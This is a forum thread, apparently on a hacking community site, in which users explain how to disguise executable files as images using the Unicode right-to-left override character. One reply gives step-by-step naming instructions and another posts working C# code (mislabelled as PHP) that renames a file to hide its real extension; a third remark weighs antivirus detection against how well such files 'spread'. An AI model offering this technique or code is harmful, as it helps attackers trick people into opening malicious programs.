Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

How to create a Extension Spoofer?

Hello everyone,

does someone know how to create a extension spoofer / have a source code?
Add the extension you want to spoof to to the end of the file name in reverse e.g. if you want to spoof test.exe to a .jpg add gpj to the file name (testgpj.exe) and then insert U+202E (Right-to-left override) character before the spoofed extension (test[U+202E]gpj.exe). You probably could have just googled this.
(Jun 21, 2018 03:34 PM)Styx™ Wrote:  Add the extension you want to spoof to to the end of the file name in reverse e.g. if you want to spoof test.exe to a .jpg add gpj to the file name (testgpj.exe) and then insert U+202E (Right-to-left override) character before the spoofed extension (test[U+202E]gpj.exe). You probably could have just googled this.

Don't use it, its fairly detected by AV's. won't spread as well
(Jun 21, 2018 10:22 AM)Dinnemok34763 Wrote:  Hello everyone,

does someone know how to create a extension spoofer / have a source code?

PHP Code

<?php 
private static void HideExtension(string fileName, string extension)
 
       {
 
           char[] array = Path.GetExtension("." + extension).ToCharArray();
 
           Array.Reverse(array);
 
           string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(fileName);
 
           string ext = Path.GetExtension(fileName);
 
           if (ext == null)
 
           {
 
               return;
 
           }
 
           string str2 = fileNameWithoutExtension + Conversions.ToString(Convert.ToChar(8238)) + Convert.ToString(new string(array)) + ext.Substring(1);
 
           File.Move(fileName, Path.GetDirectoryName(fileName) + "\\" + str2);
 
       } 

Code
HideExtension(your file, desired extension)
[Image: logo.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by xeinebiuJan 12, 2016 02:14 PM 14 1,530 Jan 12, 2016 02:14 PM
Last Post: xeinebiu
[Python] by IntrovertJul 13, 2015 01:24 PM 8 405 Jul 13, 2015 01:24 PM
Last Post: Introvert
[.NET] by Uzi London ++Mar 10, 2015 10:15 PM 32 1,449 Mar 10, 2015 10:15 PM
Last Post: Uzi London ++